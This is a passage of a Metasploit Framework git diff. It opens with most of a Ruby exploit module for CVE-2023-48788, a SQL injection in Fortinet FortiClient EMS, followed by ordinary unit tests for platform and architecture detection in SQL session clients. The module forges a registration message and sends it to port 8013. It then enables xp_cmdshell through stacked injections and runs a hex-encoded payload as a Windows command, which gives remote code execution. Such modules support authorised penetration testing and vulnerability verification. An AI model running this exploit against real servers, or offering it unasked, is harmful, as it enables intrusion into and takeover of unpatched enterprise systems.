7.2.3, 7.0.11 or above is recommended by FortiNet. + + It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient + EMS for the necessary vulnerable services to be available. + }, + 'Author' => [ + 'Zach Hanley', # Analysis & PoC + 'James Horseman', # Analysis & PoC + 'jheysel-r7', # Msf module + 'Spencer McIntyre' # Msf module assistance + ], + 'References' => [ + [ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/'], + [ 'URL', 'https://github.com/horizon3ai/CVE-2023-48788/blob/main/CVE-2023-48788.py'], + [ 'CVE', '2023-48788'] + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Privileged' => true, + 'Arch' => [ ARCH_CMD ], + 'Targets' => [ + [ 'Automatic Target', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2024-04-21', + 'DefaultOptions' => { + 'SSL' => true, + 'RPORT' => 8013 + }, + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ] + } + ) + ) + end + + def get_register_info + register_info = <<~REGISTER_INFO + AVSIG_VER=1.00000 + REG_KEY=_ + EP_ONNETCHKSUM=0 + AVENG_VER=6.00266 + DHCP_SERVER=None + FCTOS=WIN64 + VULSIG_VER=1.00000 + FCTVER=7.0.7.0345 + APPSIG_VER=13.00364 + USER=Administrator + APPENG_VER=4.00082 + AVALSIG_VER=0.00000 + VULENG_VER=2.00032 + OSVER=Microsoft Windows Server 2019 , 64-bit (build 17763) + COM_MODEL=VMware Virtual Platform + RSENG_VER=1.00020 + AV_PROTECTED=0 + AVALENG_VER=0.00000 + PEER_IP= + ENABLED_FEATURE_BITMAP=49 + EP_OFFNETCHKSUM=0 + INSTALLED_FEATURE_BITMAP=158583 + EP_CHKSUM=0 + HIDDEN_FEATURE_BITMAP=155943 + DISKENC= + HOSTNAME=CYBER-RETQB1FLP + AV_PRODUCT= + FCT_SN=FCT8001638848651 + INSTALLUID=#{Faker::Internet.uuid.upcase} + NWIFS=Ethernet0|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|1|*|0 + UTC=1710271774 + PC_DOMAIN= + COM_MAN=VMware, Inc. + CPU=Intel(R) Xeon(R) Silver 4215 CPU @ 2.50GHz + MEM=12287 + HDD=99 + COM_SN=VMware-42 04 ed 2d 64 e8 0b 14-45 e9 e4 f6 5a c7 67 82 + DOMAIN= + WORKGROUP=WORKGROUP + USER_SID=S-1-5-21-#{rand(9) * 10}-#{rand(9) * 10}-#{rand(9) * 10}-500 + GROUP_TAG= + ADGUID= + EP_FGTCHKSUM=0 + EP_RULECHKSUM=0 + WF_FILESCHKSUM=0 + EP_APPCTRLCHKSUM=0 + REGISTER_INFO + Rex::Text.encode_base64(register_info) + end + + def get_message(sqli) + message = "MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD{SQLI_PLACEHOLDER}\n" + message << "IP=127.0.0.1\n" + message << "MAC=#{Faker::Internet.mac_address}\n" + message << "FCT_ONNET=0\n" + message << "CAPS=32767\n" + message << "VDOM=default\n" + message << "EC_QUARANTINED=0\n" + message << "SIZE= {SIZE_PLACEHOLDER}\n" + message << "\n" + message << "X-FCCK-REGISTER: SYSINFO||#{get_register_info}\n" + message << 'X-FCCK-REGISTER-END' + message << "\r\n" + message << "\r\n" + message.gsub!('{SQLI_PLACEHOLDER}', sqli) + message_length = message.length + message_length = message_length - '{SIZE_PLACEHOLDER}'.length + message_length.to_s.length + message.gsub!('{SIZE_PLACEHOLDER}', message_length.to_s) + message + end + + def send_message(sqli) + message = get_message(sqli) + vprint_status("Sending the following message: #{message}") + + buf = '' + begin + connect(true, { 'SSL' => true }) + sock.put(message) + buf = sock.get_once || '' + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + ensure + disconnect + end + vprint_status("The response received was: #{buf}") + buf + end + + def check + res = send_message("' OR 1=1; --") + return CheckCode::Vulnerable('The SQLi has been exploited successfully') if res.include?('KA_INTERVAL') + return CheckCode::Safe if res.include?("The FCT record doesn't exist") + + CheckCode::Unknown("#{peer} - FmcDaemon.exe does not appear to be running on the endpoint targeted") + end + + def exploit + # Things to note: + # 1. xp_cmdshell is disabled by default so first we must enable it. + # 2. The application takes the SQL statement we inject into and converts it all to upper case. This was causing + # attempted Base64 encoded payloads to fail, and is why we send the payload has a hex string and decode it using SQL + # before running the command with xp_command shell. + # 3. We expect to see KA_INTERVAL in the response to every SQLi attempt except for when we deliver the payload which + # is when we expect the response to be empty. + inject = [ + "' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--", + "' OR 1=1; reconfigure;--", + "' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--", + "' OR 1=1; reconfigure;--", + "' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--", + ] + inject.each do |sqli| + if sqli == inject.last + send_message(sqli).empty? ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.') + else + send_message(sqli).include?('KA_INTERVAL') ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.') + end + end + end +end diff --git a/spec/acceptance/mssql_spec.rb b/spec/acceptance/mssql_spec.rb index 7fa4adc695c4..3c8a7c20b7af 100644 --- a/spec/acceptance/mssql_spec.rb +++ b/spec/acceptance/mssql_spec.rb @@ -35,7 +35,7 @@ lines: { all: { required: [ - 'Instance Name:' + /Instance Name: "\w+"/, ] }, } @@ -64,8 +64,12 @@ lines: { all: { required: [ - 'Instance Name:', - 'Scanned 1 of 1 hosts (100% complete)' + /Instance Name: "\w+"/, + 'Microsoft SQL Server Schema', + 'Host:', + 'Port:', + 'Instance:', + 'Version:' ] }, } @@ -78,9 +82,7 @@ lines: { all: { required: [ - # Default module query "Response", - # Result "Microsoft SQL Server", ] }, diff --git a/spec/lib/msf/base/sessions/mssql_spec.rb b/spec/lib/msf/base/sessions/mssql_spec.rb index 406ecf3c831d..75f4764811c2 100644 --- a/spec/lib/msf/base/sessions/mssql_spec.rb +++ b/spec/lib/msf/base/sessions/mssql_spec.rb @@ -5,7 +5,7 @@ RSpec.describe Msf::Sessions::MSSQL do let(:client) { instance_double(Rex::Proto::MSSQL::Client) } - let(:opts) { { client: client } } + let(:opts) { { client: client, platform: Msf::Platform::Linux.realname, arch: ARCH_X86_64 } } let(:console_class) { Rex::Post::MSSQL::Ui::Console } let(:user_input) { instance_double(Rex::Ui::Text::Input::Readline) } let(:user_output) { instance_double(Rex::Ui::Text::Output::Stdio) } diff --git a/spec/lib/msf/base/sessions/postgresql_spec.rb b/spec/lib/msf/base/sessions/postgresql_spec.rb index e655bc7a4c90..96b7c246079d 100644 --- a/spec/lib/msf/base/sessions/postgresql_spec.rb +++ b/spec/lib/msf/base/sessions/postgresql_spec.rb @@ -5,7 +5,7 @@ RSpec.describe Msf::Sessions::PostgreSQL do let(:client) { instance_double(Msf::Db::PostgresPR::Connection) } - let(:opts) { { client: client } } + let(:opts) { { client: client, platform: Msf::Platform::Linux.realname, arch: ARCH_X86_64 } } let(:console_class) { Rex::Post::PostgreSQL::Ui::Console } let(:user_input) { instance_double(Rex::Ui::Text::Input::Readline) } let(:user_output) { instance_double(Rex::Ui::Text::Output::Stdio) } diff --git a/spec/lib/rex/post/mssql/ui/console/command_dispatcher/core_spec.rb b/spec/lib/rex/post/mssql/ui/console/command_dispatcher/core_spec.rb index 37fbf4ff4a36..d24002f8f77c 100644 --- a/spec/lib/rex/post/mssql/ui/console/command_dispatcher/core_spec.rb +++ b/spec/lib/rex/post/mssql/ui/console/command_dispatcher/core_spec.rb @@ -5,7 +5,7 @@ RSpec.describe Rex::Post::MSSQL::Ui::Console::CommandDispatcher::Core do let(:client) { instance_double(Rex::Proto::MSSQL::Client) } - let(:session) { Msf::Sessions::MSSQL.new(nil, { client: client }) } + let(:session) { Msf::Sessions::MSSQL.new(nil, { client: client, platform: Msf::Platform::Linux.realname, arch: ARCH_X86_64 }) } let(:address) { '192.0.2.1' } let(:port) { '1433' } let(:peer_info) { "#{address}:#{port}" } diff --git a/spec/lib/rex/post/postgresql/ui/console/command_dispatcher/core_spec.rb b/spec/lib/rex/post/postgresql/ui/console/command_dispatcher/core_spec.rb index 6e2f051f7dc3..dc47c356ebb8 100644 --- a/spec/lib/rex/post/postgresql/ui/console/command_dispatcher/core_spec.rb +++ b/spec/lib/rex/post/postgresql/ui/console/command_dispatcher/core_spec.rb @@ -10,7 +10,7 @@ let(:port) { '5432' } let(:current_database) { 'template1' } let(:peer_info) { "#{address}:#{port}" } - let(:session) { Msf::Sessions::PostgreSQL.new(nil, { client: client }) } + let(:session) { Msf::Sessions::PostgreSQL.new(nil, { client: client, platform: Msf::Platform::Linux.realname, arch: ARCH_X86_64 }) } let(:console) do console = Rex::Post::PostgreSQL::Ui::Console.new(session) console.disable_output = true diff --git a/spec/lib/rex/proto/mssql/client_spec.rb b/spec/lib/rex/proto/mssql/client_spec.rb index 0954eaba10f6..fa68f461e87d 100644 --- a/spec/lib/rex/proto/mssql/client_spec.rb +++ b/spec/lib/rex/proto/mssql/client_spec.rb @@ -18,6 +18,46 @@ it_behaves_like 'session compatible SQL client' + describe '#map_compile_os_to_platform' do + [ + { info: 'linux', expected: Msf::Platform::Linux.realname }, + { info: 'windows', expected: Msf::Platform::Windows.realname }, + { info: 'win', expected: Msf::Platform::Windows.realname }, + ].each do |test| + it "correctly identifies '#{test[:info]}' as '#{test[:expected]}'" do + expect(subject.map_compile_os_to_platform(test[:info])).to eq(test[:expected]) + end + end + end + + describe '#map_compile_arch_to_architecture' do + [ + { info: 'x64', expected: ARCH_X86_64 }, + { info: 'x86', expected: ARCH_X86 }, + { info: '64', expected: ARCH_X86_64 }, + { info: '32-bit', expected: ARCH_X86 }, + ].each do |test| + it "correctly identifies '#{test[:info]}' as '#{test[:expected]}'" do + expect(subject.map_compile_arch_to_architecture(test[:info])).to eq(test[:expected]) + end + end + end + + describe '#detect_platform_and_arch' do + [ + { version: 'Microsoft SQL Server 2022 (RTM-CU12) (KB5033663) - 16.0.4115.5 (X64) Mar 4 2024 08:56:10 Copyright (C) 2022 Microsoft Corporation Developer Edition (64-bit) on Linux (Ubuntu 22.04.4 LTS) ', expected: { arch: 'x86_64', platform: 'Linux' } }, + { version: 'Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) Oct 8 2022 05:58:25 Copyright (C) 2022 Microsoft Corporation Developer Edition (64-bit) on Windows Server 2022 Standard 10.0 (Build 20348: ) (Hypervisor)', expected: { arch: 'x86_64', platform: 'Windows' } }, + ].each do |test| + context "when the database is version #{test[:version]}" do + it "returns #{test[:expected]}" do + mock_query_result = { rows: [[test[:version]]] } + allow(subject).to receive(:query).with('select @@version').and_return(mock_query_result) + + expect(subject.detect_platform_and_arch).to eq test[:expected] + end + end + end + end describe '#current_database' do context 'we have not selected a database yet' do subject do diff --git a/spec/lib/rex/proto/mysql/client_spec.rb b/spec/lib/rex/proto/mysql/client_spec.rb index d1e534bf1ede..e57d83816b56 100644 --- a/spec/lib/rex/proto/mysql/client_spec.rb +++ b/spec/lib/rex/proto/mysql/client_spec.rb @@ -45,9 +45,9 @@ { info: 'macos', expected: Msf::Platform::OSX.realname }, { info: 'unix', expected: Msf::Platform::Unix.realname }, { info: 'solaris', expected: Msf::Platform::Solaris.realname }, - { info: '', expected: Msf::Platform::Unknown.realname }, - { info: 'blank', expected: Msf::Platform::Unknown.realname }, - { info: nil, expected: Msf::Platform::Unknown.realname }, + { info: '', expected: '' }, + { info: 'blank', expected: 'blank' }, + { info: nil, expected: '' }, ].each do |test| it "correctly identifies '#{test[:info]}' as '#{test[:expected]}'" do expect(subject.map_compile_os_to_platform(test[:info])).to eq(test[:expected]) @@ -65,11 +65,11 @@ { info: '86', expected: ARCH_X86 }, { info: 'i686', expected: ARCH_X86 }, { info: 'arm64', expected: ARCH_AARCH64 }, - { info: 'arm', expected: ARCH_AARCH64 }, + { info: 'arm', expected: ARCH_ARMLE }, { info: 'sparc', expected: ARCH_SPARC }, { info: 'sparc64', expected: ARCH_SPARC64 }, { info: '', expected: '' }, - { info: 'blank', expected: '' }, + { info: 'blank', expected: 'blank' }, { info: nil, expected: '' }, ].each do |test| it "correctly identifies '#{test[:info]}' as '#{test[:expected]}'" do diff --git a/spec/lib/rex/proto/postgresql/client_spec.rb b/spec/lib/rex/proto/postgresql/client_spec.rb index 90d6847ca1df..e7f4a2faeef4 100644 --- a/spec/lib/rex/proto/postgresql/client_spec.rb +++ b/spec/lib/rex/proto/postgresql/client_spec.rb @@ -20,4 +20,64 @@ end it_behaves_like 'session compatible SQL client' + + describe '#map_compile_os_to_platform' do + [ + { info: 'linux', expected: Msf::Platform::Linux.realname }, + { info: 'linux2.6', expected: Msf::Platform::Linux.realname }, + { info: 'debian-linux-gnu', expected: Msf::Platform::Linux.realname }, + { info: 'win', expected: Msf::Platform::Windows.realname }, + { info: 'windows', expected: Msf::Platform::Windows.realname }, + { info: 'darwin', expected: Msf::Platform::OSX.realname }, + { info: 'osx', expected: Msf::Platform::OSX.realname }, + { info: 'macos', expected: Msf::Platform::OSX.realname }, + { info: 'solaris', expected: Msf::Platform::Solaris.realname }, + { info: 'aix', expected: Msf::Platform::AIX.realname }, + { info: 'hpux', expected: Msf::Platform::HPUX.realname }, + { info: 'irix', expected: Msf::Platform::Irix.realname }, + ].each do |test| + it "correctly identifies '#{test[:info]}' as '#{test[:expected]}'" do + expect(subject.map_compile_os_to_platform(test[:info])).to eq(test[:expected]) + end + end + end + + describe '#map_compile_arch_to_architecture' do + [ + { info: 'x86_64', expected: ARCH_X86_64 }, + { info: 'x86_x64', expected: ARCH_X86_64 }, + { info: 'x64', expected: ARCH_X86_64 }, + { info: '64', expected: ARCH_X86_64 }, + { info: 'x86', expected: ARCH_X86 }, + { info: '86', expected: ARCH_X86 }, + { info: 'i686', expected: ARCH_X86 }, + { info: 'arm64', expected: ARCH_AARCH64 }, + { info: 'arm', expected: ARCH_ARMLE }, + { info: 'sparc', expected: ARCH_SPARC }, + { info: 'sparc64', expected: ARCH_SPARC64 }, + { info: 'ppc', expected: ARCH_PPC }, + { info: 'mips', expected: ARCH_MIPS }, + ].each do |test| + it "correctly identifies '#{test[:info]}' as '#{test[:expected]}'" do + expect(subject.map_compile_arch_to_architecture(test[:info])).to eq(test[:expected]) + end + end + end + + describe '#detect_platform_and_arch' do + [ + { version: 'PostgreSQL 9.4.26 on x86_64-pc-linux-gnu (Debian 9.4.26-1.pgdg90+1), compiled by gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516, 64-bit', expected: { arch: 'x86_64', platform: 'Linux' } }, + { version: 'PostgreSQL 14.11 (Debian 14.11-1.pgdg120+2) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit', expected: { arch: 'x86_64', platform: 'Linux' } }, + { version: 'PostgreSQL 14.11 (Homebrew) on x86_64-apple-darwin22.6.0, compiled by Apple clang version 15.0.0 (clang-1500.1.0.2.5), 64-bit', expected: { arch: 'x86_64', platform: 'OSX' } } + ].each do |test| + context "when the database is version #{test[:version]}" do + it "returns #{test[:expected]}" do + mock_query_result = instance_double Msf::Db::PostgresPR::Connection::Result, rows: [[test[:version]]] + allow(subject).to receive(:query).with('select version()').and_return(mock_query_result) + + expect(subject.detect_platform_and_arch).to eq test[:expected] + end + end + end + end end diff --git a/spec/lib/rex/ui/text/shell/history_manager_spec.rb b/spec/lib/rex/ui/text/shell/history_manager_spec.rb index e4775fecc58e..90fe4c802d2e 100644 --- a/spec/lib/rex/ui/text/shell/history_manager_spec.rb +++ b/spec/lib/rex/ui/text/shell/history_manager_spec.rb @@ -25,7 +25,7 @@ (expect do |block| subject.with_context(name: 'a') do expected_contexts = [ - { history_file: nil, input_library: :readline, name: 'a' }, + { history_file: nil, name: 'a' }, ] expect(subject._contexts).to eq(expected_contexts) block.to_proc.call @@ -36,7 +36,7 @@ context 'when there is an existing stack' do before(:each) do - subject.send(:push_context, history_file: nil, input_library: :readline, name: 'a') + subject.send(:push_context, history_file: nil, name: 'a') end it 'continues to have the previous existing stack' do @@ -44,7 +44,7 @@ # noop } expected_contexts = [ - { history_file: nil, input_library: :readline, name: 'a' }, + { history_file: nil, name: 'a' }, ] expect(subject._contexts).to eq(expected_contexts) end @@ -53,8 +53,8 @@ (expect do |block| subject.with_context(name: 'b') do expected_contexts = [ - { history_file: nil, input_library: :readline, name: 'a' }, - { history_file: nil, input_library: :readline, name: 'b' }, + { history_file: nil, name: 'a' }, + { history_file: nil, name: 'b' }, ] expect(subject._contexts).to eq(expected_contexts) block.to_proc.call @@ -69,7 +69,7 @@ } end.to raise_exception ArgumentError, 'Mock error' expected_contexts = [ - { history_file: nil, input_library: :readline, name: 'a' }, + { history_file: nil, name: 'a' }, ] expect(subject._contexts).to eq(expected_contexts) end @@ -79,9 +79,9 @@ describe '#push_context' do context 'when the stack is empty' do it 'stores the history contexts' do - subject.send(:push_context, history_file: nil, input_library: :readline, name: 'a') + subject.send(:push_context, history_file: nil, name: 'a') expected_contexts = [ - { history_file: nil, input_library: :readline, name: 'a' } + { history_file: nil, name: 'a' } ] expect(subject._contexts).to eq(expected_contexts) end @@ -90,12 +90,12 @@ context 'when multiple values are pushed' do it 'stores the history contexts' do subject.send(:push_context, history_file: nil, name: 'a') - subject.send(:push_context, history_file: nil, input_library: :readline, name: 'b') - subject.send(:push_context, history_file: nil, input_library: :reline, name: 'c') + subject.send(:push_context, history_file: nil, name: 'b') + subject.send(:push_context, history_file: nil, name: 'c') expected_contexts = [ - { history_file: nil, input_library: :readline, name: 'a' }, - { history_file: nil, input_library: :readline, name: 'b' }, - { history_file: nil, input_library: :reline, name: 'c' }, + { history_file: nil, name: 'a' }, + { history_file: nil, name: 'b' }, + { history_file: nil, name: 'c' }, ] expect(subject._contexts).to eq(expected_contexts) end @@ -113,12 +113,12 @@ end context 'when the stack is not empty' do - it 'continues to have a non-empty stack' do + it 'continues to have an empty stack' do subject.send(:push_context, history_file: nil, name: 'a') subject.send(:push_context, history_file: nil, name: 'b') subject.send(:pop_context) expected_contexts = [ - { history_file: nil, input_library: :readline, name: 'a' }, + { history_file: nil, name: 'a' }, ] expect(subject._contexts).to eq(expected_contexts) end diff --git a/test/modules/post/test/mssql.rb b/test/modules/post/test/mssql.rb index 385b1e721ecf..bc46f78a79c0 100644 --- a/test/modules/post/test/mssql.rb +++ b/test/modules/post/test/mssql.rb @@ -41,6 +41,35 @@ def test_console_query end end + def test_datatypes + [ + {query: "select cast('1990-01-02' as datetime);", expected: [[DateTime.new(1990, 1, 2)]]}, + {query: "select cast(null as datetime);", expected: [[nil]]}, + {query: "select cast('1990-01-02' as smalldatetime);", expected: [[DateTime.new(1990, 1, 2)]]}, + {query: "select cast(null as smalldatetime);", expected: [[nil]]}, + {query: "select cast('19900' as float);", expected: [[19900.0]]}, + {query: "select cast(null as float);", expected: [[nil]]}, + {query: "select cast('19900' as real);", expected: [[19900.0]]}, + {query: "select cast(null as real);", expected: [[nil]]}, + {query: "select cast('12.50' as money);", expected: [[12.5]]}, + {query: "select cast(null as money);", expected: [[nil]]}, + {query: "select cast('12.50' as smallmoney);", expected: [[12.5]]}, + {query: "select cast(null as smallmoney);", expected: [[nil]]}, + {query: "select cast('1999999900' as numeric(16, 6));", expected: [[1999999900.0]]}, + {query: "select cast(null as numeric(16, 6));", expected: [[nil]]}, + {query: "select cast('foo' as ntext);", expected: [['foo']]}, + {query: "select cast(null as ntext);", expected: [[nil]]}, + ].each do |test| + it "should execute the query #{test[:query]} and return #{test[:expected].inspect}" do + console = session.console + result = console.client.query(test[:query]) + ret = result[:rows] == test[:expected] + ret &&= result[:errors].empty? + ret + end + end + end + def test_console_help it "should support the help command" do stdout = with_mocked_console(session) { |console| console.run_single("help") }